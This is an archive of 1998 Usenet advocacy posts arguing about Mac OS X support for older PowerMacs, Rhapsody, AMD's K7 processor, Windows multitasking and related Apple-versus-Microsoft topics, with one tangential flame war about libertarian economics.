References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu>
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In article <35b6568f.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
>Basically your argument is that these people, who aren't willing to
>buy new Macs, won't buy new Macs if Apple doesn't play along. But
>if Apple does play along, they still won't buy Macs. Not exactly
>a win-win situation, is it?
No the argument is, if Apple does end up releasing OS X for only G3-shipped
systems then :
(1) They will lose upgrade customers for hardware. There _will_ be people
who will, when their machine reaches the end of its useful life (some time
after OS X has shipped), move to Wintel because of the decision. These will
be users of 7x00, 8x00, and 9x00 level machines who would otherwise have
upgraded to a new machine _at_a_later_ date.
(2) Lose OS upgrade customers - since they can't buy the upgrade they
won't. Simple. That's quite a chunk of current users.
(3) Lose hardware customers who consider the marginalising of PCI PowerMacs
a Bad Thing and move to Wintel machines before OS X ships as they perceive
Apple has little or no continued likelihood of a decent market share
because of the decision. These will be users of, for example, 6100 level
machines who would otherwise have bought the Next Great Thing(tm) from
Apple.
Oh, and a disclaimer before anyone starts putting words in my mouth - I
didn't mention which group I was in, only that such people exist and in
numbers.
It is impossible for anyone to say with certainty how many users (1) + (2)
+ (3) equates to. Presumably Apple has done some decent research here,
though I doubt it.
If, however, Apple manages to ship OS X for PCI PowerMacs (even if it is a
staggered release, so long as there isn't an insanely long time between
revisions) the basic difference is they will retain :
(1) Software upgrade customers. ie those 7x00, 8x00, and 9x00 level machine
owners who will jump at OS X.
and (2) Hardware upgrade customers. Both those who would have otherwise
jumped to Wintel because of a perception of poor Apple support, and those
who have 7x00, 8x00, and 9x00 series machines. Sure, _they_ won't upgrade
immediately, but when the time _does_ come to upgrade they'll be far more
sympathetic and loyal to an Apple that didn't "cut them off".
Sounds like a win-win to me.
--
Martin Cox <mcox@ihug.co.nz>
The (Incomplete) VirtualPC User's Guide <http://shell.ihug.co.nz/~mcox/vpc/>
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Wed, 22 Jul 1998 23:40:29 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2207982340290001@sf-usr1-9-137.dialup.slip.net>
References: <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net>
In article <joe.ragosta-2207981937230001@elk80.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > In article <6p51vm$k5l$1@hecate.umd.edu>,
> > davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
> >
> >
> > > K7 is supposed to be very fast on X86 code, and by going to Slot A, AMD
> > > will probably try to market it as a server part, although I now think that
> > > AMD has made a mistake wrt to K7.
> >
> > I just read that AMD has licence to use Motorola's copper technology, and
> > will be incorporating it into K7. The same article says that the K7 will
> > be able to provide a 1Gig clock speed. Pretty fast. The same article says
>
> Does anyone know what socket the K7 will use?
Socket 7, I think the article said.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Wed, 22 Jul 1998 23:42:12 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu>
In article <6p5vfm$mo1$1@hecate.umd.edu>,
davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
> Joe Ragosta (joe.ragosta@dol.net) wrote:
> : gmgraves@slip.net (George Graves) wrote:
> : > davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
> : >
> : > > K7 is supposed to be very fast on X86 code, and by going to Slot A, AMD
> : > > will probably try to market it as a server part, although I now
think that
> : > > AMD has made a mistake wrt to K7.
> : >
> : > I just read that AMD has licence to use Motorola's copper technology, and
> : > will be incorporating it into K7. The same article says that the K7 will
> : > be able to provide a 1Gig clock speed. Pretty fast. The same article says
>
> : Does anyone know what socket the K7 will use?
>
> K7 will use slot A. Mechanically identical to Slot 1, the electrical
> signals use Alpha's 21264 bus protocol. The idea is that Alpha and K7 can
> share the same motherboard, if you choose. (swap out K7, plug in 21264,
> or vice versa) AMD wants to get a high performace bus at the lowest
> cost. By sharing electrical bus with Alpha, some of the bus protocol
> development cost may be defrayed. By use the same physical slot 1 cartridge.
> AMD can just buy the cartridge from suppliers at costs only slightly more
> than what Intel would pay. (volume) So AMD saves money there too.
> Still, my guess is that Slot A motherboards will be expensive, and AMD
> will now try to push K7 in the workstation market, where Intel is positioning
> Xeon. The wild card here is how cheap AMD can get slot A motherobards here..
> It'll be interesting.
>
> : > that both Motorola and IBM are losing interest in PPC for desktop PCs
> : > now that Apple is their only customer. The article quotes a Motorola
> : > spokesperson as saying that the PPC for desktop computers is not
> : > Moto's focus.
>
> : Sure. Just like they've been saying for years.
>
> Maybe Motorola is still stung from the $100 Million MCG debacle.
If I were Mr. Moto, I sure would be somewhat sour on Apple. And a
Jobs run Apple for sure.
George Graves
Newsgroups: alt.skuznet.web2news,bln.sci.jura,comp.sys.next.advocacy,uw.lang
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From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 22 Jul 1998 15:21:32 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980722145322.12616D-100000@ux9.cso.uiuc.edu>
References: <35b3f756.0@news.depaul.edu> <B1DA8186-67C8F@206.165.43.17> <joe.ragosta-2207980902130001@wil103.dol.net> <slrn6rc551.8j3.jason@jhste1.dyn.ml.org>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <slrn6rc551.8j3.jason@jhste1.dyn.ml.org>
On 22 Jul 1998, Jason S. wrote:
> Joe Ragosta posted the following to comp.sys.mac.advocacy:
>
> >> >And, those OS/X fixes would have to be tested, and fixed, and
> >> >maintained, and re-fixed, and debugged, and regression-tested, etc,
> >> >as the OS continues to develop, which is an enormous amount of work
> >> >when multiplied by all the different models.
>
> >> Er, how many models are we talking about here?
>
> >> There was only one or two licensed motherboard-designs for ALL PCI Macs and
> >> clones. ALL Macs and clones used those designs. They were tested by Apple
> >> and officially approved by Apple.
>
> >I know of at least 3--Tsunami, Alchemy, and Nitro. In addition, the clone
> >vendors modified the boards in many cases, sometimes running them at
> >higher clock speeds, using different graphics chips, different cache
> >design, and so on.
>
> Catalyst, not Nitro.
Actually, Catalyst and TNT I think.
> (Nitro is the 7500, right? Or is it the 8500? I can
> never remember which was Nitro and which was TNT).
Nitro is the 8500. TNT is the 7500.
> Catalyst was used in
> the 7200 and in several Power Computing models. I'm not aware of any
> 7500/8500/8600-based clones (frankly, I always wondered why Apple had
> 6 PCI motherboards anyway - 7 if you include Gossamer; TNT/Nitro was a
> redundancy, as was Alchemy/Tanzania/Catalyst).
TNT/Nitro were very related to Tsunami. The fundamental differences
between the motherboards were that Tsunami had a 512k L2 cache soldered on
where the others had cache DIMM slots. Tsunami had 6 PCI slots and no
on-board graphics hardware whereas the others had 3 PCI slots and on board
graphics. Tsunami had 12 DIMM slots for up to 1.5 gigs of RAM while the
others had only 8 slots for up to 1 gig of RAM. TNT had s-video out
(perhaps composite out too... I don't remember) while Nitro had s-video in
and out along with RCA connectors for composite video in and out and sound
in and out.
I think I listed all the differences.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: peter@baileynm.com ()
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Mach Kernels, MkLinux, and Mac OS X
Date: 22 Jul 1998 20:20:43 GMT
Organization: Bailey Network Management
Message-ID: <6p5hir$eq4@web.nmti.com>
References: <Pine.SOL.3.96.980716142711.2583A-100000@ux7.cso.uiuc.edu> <sdavis-1607981711490001@149.118.128.38> <6onq0d$fkg$1@nntp6.u.washington.edu> <sdavis-1707981614100001@149.118.128.38>
In article <sdavis-1707981614100001@149.118.128.38>,
Stephen A. Davis <sdavis@aureal.com> wrote:
>I don't think there really is a difference between the eventual MacOS X
>and the current Rhapsody/MacOS X Server with respect to their ability to
>behave like a server OS. I think you'll get everything you need to run a
>server but it unfortunately might be a separate software package to expose
>everything. Hopefully it'll just be an "expert" setting or something like
>that.
One worm in the apple: Apple's spokesman at Usenix said that OS/X wouldn't
include the basic UNIX shells and utilities, and wouldn't even commit to
having them included as an option on the CDROM. It was more like "maybe we'll
make them available on the Internet"...
*sigh*
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 22 Jul 1998 20:54:43 GMT
Organization: P & L Systems
Message-ID: <6p5jij$fpq$3@ironhorse.plsys.co.uk>
References: <rmcassid-1307981232230001@dante.eng.uci.edu> <B1CFE637-1A286@206.165.43.144>
<6oe63d$2r6$1@vixen.cso.uiuc.edu> <Jonas.Palm-1507981217060001@jp.orgk1.dial.lu.se>
<6ot3cc$n4h$4@ironhorse.plsys.co.uk> <Jonas.Palm-2007981316580001@jp.orgk1.dial.lu.se>
<B1D929AE-A3562@206.165.43.162> <joe.ragosta-2007982116060001@elk57.dol.net>
<1dcj27z.9jrqo43jtddsN@du137-242.ppp.algonet.se> <kewldoc-2207980649480001@53.0.17.176.203.in-addr.arpa>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: kewldoc@hotmail.com
In <kewldoc-2207980649480001@53.0.17.176.203.in-addr.arpa> Henry C. Maglente
wrote:
> Only thing is that Rhapsody is dead. Apple killed it and replaced it with
> OS X.
>
Uh huh...
... and the difference between MacOS X and Rhapsody?
> Sure they are going to release it, but likely very few (if any) developers
> will bother with it since it's a dead end anyway.
>
Oh drivel. At least as many people will be developin for it.
> Yellow applications for OS X won't run on Rhapsody (or most likely won't)
> with it having a new graphics system and all.
>
I'm fairly sure the two systems won't be binary compatible, however I'm sure
that they will be 99.99% source code compatible. I'm quite sure we'll be
offering free sidegrades to MacOS X when it ships.
> Apple has made clear that Rhapsody 1.0 will be a dead end and therefore
> once again betrayed their user base.
>
Looks like you've been taken in by the marketing spin.
Try doing a little research of your own.
mmalc.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Wed, 22 Jul 1998 15:43:39 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net>
References: <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu>
In article <6p51vm$k5l$1@hecate.umd.edu>,
davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
> K7 is supposed to be very fast on X86 code, and by going to Slot A, AMD
> will probably try to market it as a server part, although I now think that
> AMD has made a mistake wrt to K7.
I just read that AMD has licence to use Motorola's copper technology, and
will be incorporating it into K7. The same article says that the K7 will
be able to provide a 1Gig clock speed. Pretty fast. The same article says
that both Motorola and IBM are losing interest in PPC for desktop PCs
now that Apple is their only customer. The article quotes a Motorola
spokesperson as saying that the PPC for desktop computers is not
Moto's focus.
Read more at :
http://www.maccentral.com/news/9807/22.mot.shtml
George Graves
Date: Wed, 22 Jul 1998 19:37:22 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2207981937230001@elk80.dol.net>
References: <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net>
In article <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <6p51vm$k5l$1@hecate.umd.edu>,
> davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
>
>
> > K7 is supposed to be very fast on X86 code, and by going to Slot A, AMD
> > will probably try to market it as a server part, although I now think that
> > AMD has made a mistake wrt to K7.
>
> I just read that AMD has licence to use Motorola's copper technology, and
> will be incorporating it into K7. The same article says that the K7 will
> be able to provide a 1Gig clock speed. Pretty fast. The same article says
Does anyone know what socket the K7 will use?
> that both Motorola and IBM are losing interest in PPC for desktop PCs
> now that Apple is their only customer. The article quotes a Motorola
> spokesperson as saying that the PPC for desktop computers is not
> Moto's focus.
Sure. Just like they've been saying for years.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: "Wayne Fellows" <wfellows@*stop_spam*earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: NT Takes Down the Navy, Sleep Well, America...
Date: 22 Jul 98 19:43:44 +0000
Organization: EarthLink Network, Inc.
Message-ID: <B1DBF175-2D8B7@153.36.196.248>
References: <charles.bouldin-2107982129550001@chuckb.mnsinc.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.earthlink.net/comp.sys.next.advocacy
On Wed, Jul 22, 1998 1:29 AM, Charles Bouldin
<mailto:charles.bouldin@nist.gov> wrote:
>Yes, but the full story, as written up in one of the federal computer
>magazines includes quotes from Navy brass saying that they were "forced to
>use NT because of political pressure"! I was *stunned* to see these
>quotations, with full attribution, in PRINT! This is *very* unusual,
>especially from DOD. Things like this are usually just buried and quietly
>forgotten or quietly fixed. The direct quotations from several Navy
>spokesmen about how they don't like NT and find it to have serious
>flaws....this is amazing! The other thing they report is that they would
>much rather use Unix than NT!
This may indicate that the Navy really wants to get rid of NT and that they
are quietly encouraging people within the project to complain outside the
normal accepted channels.
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Navigation Services (was: Mac OS X UI)
Date: Wed, 22 Jul 1998 23:53:01 +0200
Organization: Completely Disorganized
Message-ID: <1dclbuy.19ab3u515j0xfkN@rhrz-isdn3-p46.rhrz.uni-bonn.de>
References: <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <1dcj69z.1o563yq97eq68N@rhrz-isdn3-p14.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721144202.19564A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2207981027570001@news> <Pine.SOL.3.96.980722135746.12616B-100000@ux9.cso.uiuc.edu>
Mail-Copies-To: never
> > No, you don't understand: the current Navigation Services dialogs ARE
> > non--system modal! If someone can make an extension that allows current
> > apps to use the new dialogs, then they will work the way you desire.
>
> I understand roughly what this would entail. It is not possible to create
> such an extension.
Well, it is possible to create an extension that in a lot of cases
routes calls to StandardFile to calls to Nav Services. But it won't work
in a lot of cases, such as when an app adds items to the dialog. Also,
I'm very sure that it won't be possible to display these Nav Services
dialogs in a non-system-modal fashion. To enable this feature apps have
to supply a callback function to Nav Services that handles the event
loop. (Yes, I have used Nav Services in an application.)
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 22 Jul 1998 21:54:55 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p5n3f$o6p$1@nnrp1.dejanews.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net> <6p5bhr$hm1$1@lwnws01.ne.highway1.com>
In article <6p5bhr$hm1$1@lwnws01.ne.highway1.com>,
jkheit@mediaone.net wrote:
> This is rediculous. That is a different tool. Trying
> to force a desktop UI on a palm-micro-type unit would be silly,
> and vice-versa.
While I agree with you in principle, Windows CE seems to have been successful
so far and Apple might think that MacOS CE would be a marketable idea. BTW,
you are starting to attack some people personally. Could you please not do
that?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Wed, 22 Jul 1998 21:50:05 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p5mqd$nsu$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net>
In article <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> Imagine putting up with Windows'
> lousy design, horrible user interface, half-ass implementation of most
> features that Mac users have been taking for granted for years, just to get
> the dubious advantages of Windows '95/98 style multitasking.
Define lousy design. From an OS foundation point of view, the MacOS is
inferior. I rate the Windows user interface as crap and the MacOS user
interface as poor (1). And why is the advantage of Windows 95 (not to mention
NT) multitasking dubious?
> And speaking
> of MT being application specific. What happens to your precious Windows
> MT when one of the programs you have to run is still 16 bit? Bye-bye!
I don't consider Windows 95 multitasking "precious". I consider it poor but it
is still better than MacOS multitasking. And regarding 16-bit multitasking
support:
1) I only have one 16-bit application on my entire system and that's a legacy
system that the company I work for still develops for Windows 3.1 users. 2)
Preemptive multi-tasking between 32-bit applications still works fine if you
are running 16-bit apps. It is just that between 16-bit apps there is no
preemption (it's cooperative, just like the MacOS always is). Just like the
blue box in MacOS X will be preemptively scheduled but within the blue box,
the scheduling will be cooperative.
BTW, I like and use the MacOS. I am merely disappointed that Apple can't seem
to advance the MacOS as quickly as Microsoft can advance windows. Overall, I
think that Windows NT is better than the MacOS and Windows 95 is as good. But
MacOS X should be better than both. Still, I distresses me that Apple is
removing some excellent features from Rhapsody to make Mac OS X.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: michael.peck@ericsson.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Wed, 22 Jul 1998 23:33:39 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p5ssj$ui8$1@nnrp1.dejanews.com>
References: <slrn6qqgad.vos.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35AE2C81.AB098FF4@ericsson.com> <dHrr1.4009$24.23232568@news.itd.umich.edu> <35AE4D48.B45E4579@ericsson.com> <Jeur1.4033$24.23345884@news.itd.umich.edu> <35AE772F.B35DEA51@ericsson.com> <slrn6qt8uh.7n9.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35AEF495.EEEF2844@nstar.net> <slrn6r6m6e.9fc.sal@panix3.panix.com> <35B42512.B4309896@nstar.net> <35b437a1.0@news.depaul.edu> <6p2hpj$rcg$1@nnrp1.dejanews.com> <35b4e118.0@news.depaul.edu>
In article <35b4e118.0@news.depaul.edu>,
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> Your arguments assume that people behave in unrealistic ways. Period.
No, they do not. They assume that people behave in *systematic* ways.
And people do. Furthermore, governments act in systematic ways, as
well. By predicting behaviors on the basis of past performance (not
difficult, considering the brutal history of government) my arguments
make perfect sense, unlike your arguments, which seem to be based on
the exceptions to the rule, the cynical, the arbitrary, and the
comfortable.
Sorry, bzzzzzzt. Such factors are useless to this conversation.
> >It is precisely financial self-interest that ensures the proper working of
the
> >free market.
>
> In a utopia, perhaps. Financial self-interest can also distort the
> working of the free market.
Look, I suggest you get over "utopia". I imagine you got all torn up
when you hit that golden adolescent age, the one where it's so
painful to realize that the world isn't perfect. But adults are
supposed to pick themselves up and begin constructing mature thought
patterns based on a more realistic outlook, and your continual
thrusting of the "utopia" strawman in my face just goes to
demonstrate that you haven't managed to get there, yet.
The anointed would rather place the blame for their Lost Horizons on the
"stupid" and the "weak" benighted masses among us. It's not their fault, the
world is fallen because of *other* people. Therefore, there are two motives in
the mind of the anointed: "fixing" the world, and sparing themselves the
indignity of participating in reality until the world is "fixed". This is part
of why educational institutions have become such a haven for such people.
Maturity dictates that we must recognize the inherent patterns in our
existing world. Many men many times more capable than you or I have
studied these patterns for years. Many more have practiced them
without having the slightest clue they were doing so, but when asked
they simply say, "because it makes sense to do so".
When I was a child I often had to share cookies with a sibling. When
there was an odd number of cookies, one of them had to be split in
half. It took no genius to realize that it was unfair for one of us
to split the cookie and distribute the halves. But when we realized
that one child could split the cookie and the other could distribute,
we never went back. It is a beautiful relationship: the child who
splits the cookie knows that if he is unfair, he will be unfair only
to himself, for the other child will surely take the larger portion.
Much the same kinds of patterns and relationships exist naturally
between humans who trade and do business. It is as inescapable as our
humanity. Like it or not, you cannot change it.
> Really? This doesn't quite mesh with your simplistic beliefs.
...and the cheap and nonsensical rhetoric just keeps coming. What is this
supposed to mean?
> Are you going to demonstrate that your ideals are practical?
Am I going to demonstrate that the sky is blue? No, I'm not.
> Evidently you don't understand the concept of 'perfect information'.
No, I surely don't, and that's what I just said.
> It's
> a theoretical economic construct, which like a libertarian utopia doesn't
> exist in the real world.
I don't know what a "libertarian utopia" is, either, so I'll take
your word for it.
> The point is that you need information with which to make these
> judgements, and that companies are not likely to provide it to
> anyone who asks.
They might, they might not. As usual, it depends on whether they are
motivated to do so. Rather than sit around whining about how awful
reality is, you could perhaps come up with ways to motive your
favorite capitalist pig to divulge the secrets of his products. Linux
users have continually pleaded with certain corporations to release
specifications for their hardware so that Linux drivers could be
written, and the successful ones were always the ones who gave the
manufacturer a motivation: purchase committments, good publicity,
customer loyalty, code donations, etc.
But I agree, it's *much* easier to whine and mope and join the
Communist Party. And since it's not a perfect world, as we've both
agreed, we've got to expect a certain number of such lazy and broken
people.
> At best it'll be extremely expensive. A
> 'vigilant public' fed lies and kept in the dark isn't going to
> be able to protect themselves very well.
Then again, that public could go and pay for a subscription to
Consumer Reports and the thousands of more specific magazines that
review publicly-available products. I don't suppose it crossed your
mind.
> And this is relevant, how, exactly?
Wink and pretend you understand. Smile.
> So corporations have *not* acted in ways that injured the public,
> solely for financial gain?
Oh, I get to choose between two polar extremes? This sounds oh so familiar.
> > Are you asking me? It's _your_ made-up world, go find it yourself, silly!
>
> *You* find it, Michael. It's the world where libertarianism works.
Please yourself. You haven't managed to demonstrate this one tiny bit, but
forcefully stating it by itself might just do the trick, hmm?
> Would you care to explain how this *wouldn't* happen in a libertarian
> state?
No, you'll first have to demonstrate that it *would* happen. You
could ask why I don't demonstrate that we all wouldn't get cancer
from libertarianism, but really, the burden is on you to show that we
*would*.
MJP
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 22 Jul 98 11:18:35
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul22111835@slave.doubleu.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com>
<Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu>
<mNOSPAMroeder-1407981257200001@192.168.21.171>
<pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu>
<mNOSPAMroeder-1507981407020001@192.168.21.170>
<Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu>
<1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de>
<Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu>
<id_est-2007982007050001@192.168.1.3>
<Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu>
<joe.ragosta-2107981248320001@wil132.dol.net>
<aman-2107982305530001@scz-ca17-19.ix.netcom.com>
<6p50k6$b1o$2@lwnws01.ne.highway1.com>
<joe.ragosta-2207981217170001@wil79.dol.net>
In-reply-to: joe.ragosta@dol.net's message of Wed, 22 Jul 1998 12:17:17 -0400
In article <joe.ragosta-2207981217170001@wil79.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) writes:
> aman@aman.com (A-Man) wrote:
> > It may soon be more important than ever that the Mac UI
> > functions well and looks good on a 9" display...
>
> Jeez, if by next year the best they can do is release a consumer
> portable with *only* a 9" screen, they deserve what they can get.
> There's no excuse today to release anything but an XGA screen.
> 12" XGA screens at a minimum.
No kidding? Then I must be imagining all these new laptops with
7-10" screens being bandied about.
Keep in mind that the new laptops are not necessarily meant to do
the same things as the "pro" laptops.
So why should they have the same interface?
They may be more like WinCE devices.
Of the Windows programs I've worked with, the one who's interface I've
liked the best thus far is Quicken. And it seems to pretty much
dispense with the Windows interface in favor of it's own interface.
It certainly shares many of the same elements, but doesn't try to
screw things in with a hammer.
Until you know what they're trying to do with them, how can you
criticize them for a given screen size?
Likewise, how can you make UI predictions about it if you don't know
what they're going to do with it?
Oh, I forgot. Everything Apple does is wrong by default.
Actually, the complaint was about something an individual apparently
unconnected with Apple had said. Nobody has said that Apple is making
their UI decisions about Rhapsody/MacOS X based on potential future
devices with 9" screens. In fact, nobody has indicated that such
devices would even run MacOS X at all.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
